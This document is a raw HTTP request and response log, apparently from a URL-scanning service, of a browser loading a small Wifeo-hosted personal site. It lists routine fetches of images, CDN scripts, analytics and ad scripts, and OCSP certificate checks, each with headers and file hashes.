GET /images/i/img/IMG_20161021_211359_630.jpg HTTP/1.1 Host: michaelnativel.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Cookie: statcountmichaelnativel13=ok	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/jpeg Date: Tue, 13 Feb 2018 14:02:26 GMT Server: WIFEO Access-Control-Allow-Origin: http://shop.wifeo.com Last-Modified: Sun, 23 Oct 2016 15:07:01 GMT Etag: "32e1a-53f89a0a655ea" Vary: User-Agent Expires: Sat, 14 Apr 2018 14:02:26 GMT Cache-Control: max-age = 2592000 X-Varnish: 143657898 Age: 0 Via: 1.1 varnish-v4 X-Cache: MISS Transfer-Encoding: chunked Accept-Ranges: bytes --- Additional Info --- Magic: JPEG image data, EXIF standard Size: 208410 Md5: e037656418114a7e399d8bb9fedfea81 Sha1: 5605a3a8ddae175578e2533b3718ee73f4fa1a00 Sha256: 7ce7ca65c5b8b875d2d18cc4a07e62cc02d7ee43f3bc2e267603c0c66f2e997e
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: 6300C75D0A453F081EC693DE6CD52E28574DC944 Cache-Control: max-age=508705,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 727 Connection: close --- Additional Info --- Magic: data Size: 727 Md5: 8f6cb4f522fb2149c4306d80e30d1119 Sha1: 6300c75d0a453f081ec693de6cd52e28574dc944 Sha256: 12a51058b7548f36c2b0386ed26ce51fdfb5e44a35e2b4fe4592824e86412e4e
POST / HTTP/1.1 Host: ocsp.usertrust.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: A32733318C0757E7E15BCFE416EE0611FBC2B84D Cache-Control: max-age=508705,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp15 Content-Length: 471 Connection: close --- Additional Info --- Magic: data Size: 471 Md5: 7f5c6479a459bb50ceaa9705d300762b Sha1: a32733318c0757e7e15bcfe416ee0611fbc2b84d Sha256: 2b27b2dd62db5b06bcdf8ecedeab57fb595b54ae7ec58e7be99923c30b442886
GET /ajax/libs/popper.js/1.12.3/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	104.19.193.102 HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:27 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Fri, 18 Aug 2017 12:49:19 GMT Expires: Sun, 03 Feb 2019 14:02:27 GMT Cache-Control: public, max-age=30672000 Access-Control-Allow-Origin: * Content-Encoding: gzip CF-Cache-Status: HIT Vary: Accept-Encoding Strict-Transport-Security: max-age=15780000; includeSubDomains Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 3ec8535068ab426d-OSL --- Additional Info --- Magic: gzip compressed data, from Unix Size: 6945 Md5: c0a9fcd5dfac23b1d6dcd36293b069ee Sha1: e77b4837de0228dcdece730f9600e70254ef31cb Sha256: 91599d91f72d19f93c85ebf2e4587b67abf0f6e577d681c2d985da6b2a5b3ee6
POST / HTTP/1.1 Host: ocsp.comodoca.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 116 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Tue, 13 Feb 2018 08:37:59 GMT Expires: Tue, 20 Feb 2018 08:37:59 GMT Etag: 5B20DA2AB6D29D82474FA8EAEFF7B7D7928D7FD1 Cache-Control: max-age=584731,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 472 Connection: close --- Additional Info --- Magic: data Size: 472 Md5: 53f02023b13fb3270939962d6a7d09c9 Sha1: 5b20da2ab6d29d82474fa8eaeff7b7d7928d7fd1 Sha256: 52d473e60e56e7f8320732587a6f570c38d51e5c3455e425968a210662ef7e28
POST / HTTP/1.1 Host: ocsp.comodoca.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:27 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: DCB6634C4C792E97ABC7AB81D1547DED89D9BB54 Cache-Control: max-age=508705,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 727 Connection: close --- Additional Info --- Magic: data Size: 727 Md5: bb036011ba960703bc42715ab357400e Sha1: dcb6634c4c792e97abc7ab81d1547ded89d9bb54 Sha256: c0e0f50e0154cccbf5b8c799e6106e6a14edd544c65d8e3acac0dff61d652a2d
GET /bootstrap/4.0.0-beta.2/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	94.31.29.16 HTTP/1.1 200 OK Content-Type: application/javascript Date: Tue, 13 Feb 2018 14:02:27 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Thu, 19 Oct 2017 19:52:04 GMT Etag: W/"46b549bdc90920f18a911f186b9dd75c" Server: NetDNA-cache/2.2 Expires: Fri, 08 Feb 2019 14:02:27 GMT Cache-Control: max-age=31104000 Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Hello-Human: Say hello back! @getBootstrapCDN on Twitter X-Cache: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 14943 Md5: 47e4f9aae4f1b3315f674638f91badf2 Sha1: a8d261e1d4ce9910561b846fe82b0bbf683d65a7 Sha256: 5cd8e30ca5b6124adc64b6beb1ebfd735c42ad237f1d4613b796e8628a8d48bb
GET /favicon-defaut.ico HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive	194.146.225.153 HTTP/1.1 200 OK Content-Type: image/vnd.microsoft.icon Date: Tue, 13 Feb 2018 14:02:27 GMT Server: WIFEO Last-Modified: Fri, 08 Jul 2016 07:27:42 GMT Etag: "13e-5371abcf74628" Vary: User-Agent X-Varnish: 143529301 Age: 0 Via: 1.1 varnish-v4 X-Cache: HIT Content-Length: 318 Accept-Ranges: bytes --- Additional Info --- Magic: MS Windows icon resource - 1 icon Size: 318 Md5: c94e8785f438295d0ad739fbcb8f5a52 Sha1: 351618b89006dc436ba44a41f02d478f05c15f9f Sha256: f35ca1fa165fecc632ae1b4d3c1fa2427a6bf8e1ddd35fd5363b5f687c23cd27
GET /ga.js HTTP/1.1 Host: www.google-analytics.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.21.142 HTTP/1.1 200 OK Content-Type: text/javascript Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 13:15:47 GMT Expires: Tue, 13 Feb 2018 15:15:47 GMT Last-Modified: Mon, 13 Nov 2017 20:19:12 GMT X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Server: Golfe2 Content-Length: 17172 Age: 2800 Cache-Control: public, max-age=7200 --- Additional Info --- Magic: gzip compressed data, max compression Size: 17172 Md5: 43adefe535269f3b75e0f229d0dba4d6 Sha1: 5e3bed19757401b3aa6c8ab8b5f26aa17add8a3a Sha256: fc7f9d5234f97de0433021d02e8969a93003d90bf16d40a9cb2d8f5c7bfaa398
GET /v5/img/logo-wifeo-160.svg HTTP/1.1 Host: www.wifeo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/ Range: bytes=0- If-Range: "1963-53d135b636155"	$Magic: SVG Scalable Vector Graphics image\012 XML document text Size: 6499 Md5: e036707eac2a661d5e7a7d8950fc6e7f$ 194.146.225.153 HTTP/1.1 206 Partial Content Content-Type: image/svg+xml Date: Tue, 13 Feb 2018 14:02:27 GMT Server: WIFEO Last-Modified: Thu, 22 Sep 2016 07:10:30 GMT Etag: "1963-53d135b636155" Accept-Ranges: bytes Content-Length: 6499 Vary: User-Agent Content-Range: bytes 0-6498/6499 Connection: close --- Additional Info --- Magic: SVG Scalable Vector Graphics image\012 XML document text Size: 6499 Md5: e036707eac2a661d5e7a7d8950fc6e7f Sha1: dbec14ebd1fa8d3fe6c8cdddbc4355f93605e808 Sha256: 8291f64e8fb978d4ad3024326d1f4af37aaf998dc1bb8293ad0a96628640a49d
GET /r/__utm.gif?utmwv=5.7.1&utms=1&utmn=742798995&utmhn=michaelnativel.wifeo.com&utme=8(affpub)9(oui)&utmcs=UTF-8&utmsr=1176x885&utmvp=1159x754&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=Michael%20Nativel%2C%20accueil%20du%20site&utmhid=1665291383&utmr=-&utmp=%2Fmichaelnativel%2F&utmht=1518530548322&utmac=UA-607176-1&utmcc=__utma%3D1.1006486668.1518530548.1518530548.1518530548.1%3B%2B__utmz%3D1.1518530548.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmjid=573895599&utmredir=1&utmu=qzCAAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1 Host: www.google-analytics.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.21.142 HTTP/1.1 200 OK Content-Type: image/gif Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:28 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT X-Content-Type-Options: nosniff Server: Golfe2 Content-Length: 35 --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:39 GMT Etag: "5a829b1f-1d7" Expires: Thu, 15 Feb 2018 14:02:39 GMT Last-Modified: Tue, 13 Feb 2018 08:00:31 GMT Server: ECS (arn/4691) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: d2c2e35ef0bacca61d9c0a287eb8f7d5 Sha1: 528206550ee7bd603166c973dd2ad8be497207e2 Sha256: 68a9e5cf773365327ee2392ab3e5ac439750b509156bf8ac5295be90a90167d6
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:39 GMT Etag: "5a8292d3-1d7" Expires: Thu, 15 Feb 2018 14:02:39 GMT Last-Modified: Tue, 13 Feb 2018 07:25:07 GMT Server: ECS (arn/4598) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: 9ef9b5ee5b90d4f847262ac201fcb1fd Sha1: 7c541db4cf9b5f9b47a3fd35030be2b260aa486d Sha256: ca6f48fb3d346f3743dc3665c32f409202707209daa6f2d2706be5154cef7028
GET /edacead583.js HTTP/1.1 Host: use.fontawesome.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	23.111.9.35 HTTP/1.1 200 OK Content-Type: text/javascript Date: Tue, 13 Feb 2018 14:02:39 GMT Transfer-Encoding: chunked Connection: keep-alive x-amz-id-2: FxHfQfDO/owJ8Plzeu4FcJsmrf5zKxlBSzwPxGjTlv0O8wF7MjEqNYKaiO9MC9b0aKlyAooSF28= x-amz-request-id: B103B21FDA05EB68 Last-Modified: Fri, 24 Feb 2017 10:38:02 GMT Etag: W/"a4e19008187b98c3adaeeba10a5cda8a" Server: NetDNA-cache/2.2 Cache-Control: max-age=0, private, must-revalidate X-Cache: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 3860 Md5: de3c523e35fced54fbee82fa93fad81a Sha1: ee8b93670e2c6ffb0cb713f616bfe93bbf0363d8 Sha256: 58460d8be64a9fd1826ed33519d7b000764714fef4cc17e97099a91e696979d2
GET /pagead/js/r20180207/r20170110/show_ads_impl.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:40 GMT Expires: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: private, max-age=1209600 Etag: 4433304288936196502 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 67646 X-XSS-Protection: 1; mode=block --- Additional Info --- Magic: gzip compressed data, max compression Size: 67646 Md5: cce91a88f525640083b0ebe057a30af4 Sha1: b9cf4be249b5af3dda774dfb75e73d482da706c5 Sha256: dd6dac5265c4b1796715889313e4b9271b4547f66739424357f89dc45eac882b
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: fcd56e1351782e87ef4f73d429e4ded4 Sha1: f6f1ce80b96c014e654132c41d109a131ee5bc3c Sha256: 340ac1b5b28c1c9c0280d32661fe3b614a32fc66f327fb93f5a98fdbe0c176b0
POST /gsr2 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 112 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 468 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 468 Md5: 6bf50ec404fb4a8b4a94be8390d11938 Sha1: 0caaab7704d6221abc5e0342909a4928cee50b1c Sha256: 63b592179b1e9a528344ce1d430b9479fc55f43420a468ec35aaeaa9dff911cf
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: 6ea90b04815236e9005a97e76148e394 Sha1: 256637485a6d2ab91f66dfc94598aafaa31250c0 Sha256: 98fe9ca5bbe415d51e7c4c01f2ccbfd26909479017bb040d52309743c3eb0dba
GET /adsid/integrator.js?domain=michaelnativel.wifeo.com HTTP/1.1 Host: adservice.google.no User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657 for more info." Timing-Allow-Origin: * Cache-Control: private, no-cache, no-store X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:40 GMT Server: cafe X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 107 Md5: 5432a558d422eaeaa6f7e8a15c0c1134 Sha1: 252ee6dbb502fd998fbdc5721da5986b877f1c73 Sha256: e61d268069b171358cb5d545e31856cbc3ac2b995cff5e4f7043ae988dc44c6d
POST /ocsp HTTP/1.1 Host: clients1.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:40 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: 4bb2e4074fe5f9f8d715e5888d0b4188 Sha1: 8d020c92f7f3278b86d901ebef396c31d5e39d51 Sha256: cc9e9c93a83b6c3b89cfb24126cc32cfb0876f7705046b642039176859c160e0
POST / HTTP/1.1 Host: g.symcd.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	23.52.27.27 HTTP/1.1 200 OK Content-Type: application/ocsp-response Server: nginx/1.12.2 Content-Length: 1391 Content-Transfer-Encoding: binary Cache-Control: max-age=546923, public, no-transform, must-revalidate Last-Modified: Mon, 12 Feb 2018 21:56:01 GMT Expires: Mon, 19 Feb 2018 21:56:01 GMT Date: Tue, 13 Feb 2018 14:02:40 GMT Connection: keep-alive --- Additional Info --- Magic: data Size: 1391 Md5: dab664d03e303a7b1deba30189c57d23 Sha1: 1a87b2335fc304a7783b6f7ffdb5ff97367d30de Sha256: a420898c491aa5011be91b1f128d5401a72f65f88f6db5db605abde5677fb03d
GET /pagead/html/r20180207/r20170110/zrt_lookup.html HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Wed, 07 Feb 2018 18:42:53 GMT Expires: Wed, 21 Feb 2018 18:42:53 GMT Etag: 7893540961313292660 X-Content-Type-Options: nosniff Content-Encoding: gzip Server: cafe Content-Length: 6819 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 501587 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 6819 Md5: 8caea4ee531aab9f5d9328f80b7b23f3 Sha1: 3c1b05353b141a9e742555def5993bee1ec31ecd Sha256: 0c3ec59d66f4780431ae46c09d53fe92c858ea2f05c6a5e02a17ab56d4428ff4
GET /adsid/integrator.js?domain=michaelnativel.wifeo.com HTTP/1.1 Host: adservice.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: application/javascript; charset=UTF-8 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657 for more info." Timing-Allow-Origin: * Cache-Control: private, no-cache, no-store X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:40 GMT Server: cafe X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 107 Md5: 5432a558d422eaeaa6f7e8a15c0c1134 Sha1: 252ee6dbb502fd998fbdc5721da5986b877f1c73 Sha256: e61d268069b171358cb5d545e31856cbc3ac2b995cff5e4f7043ae988dc44c6d
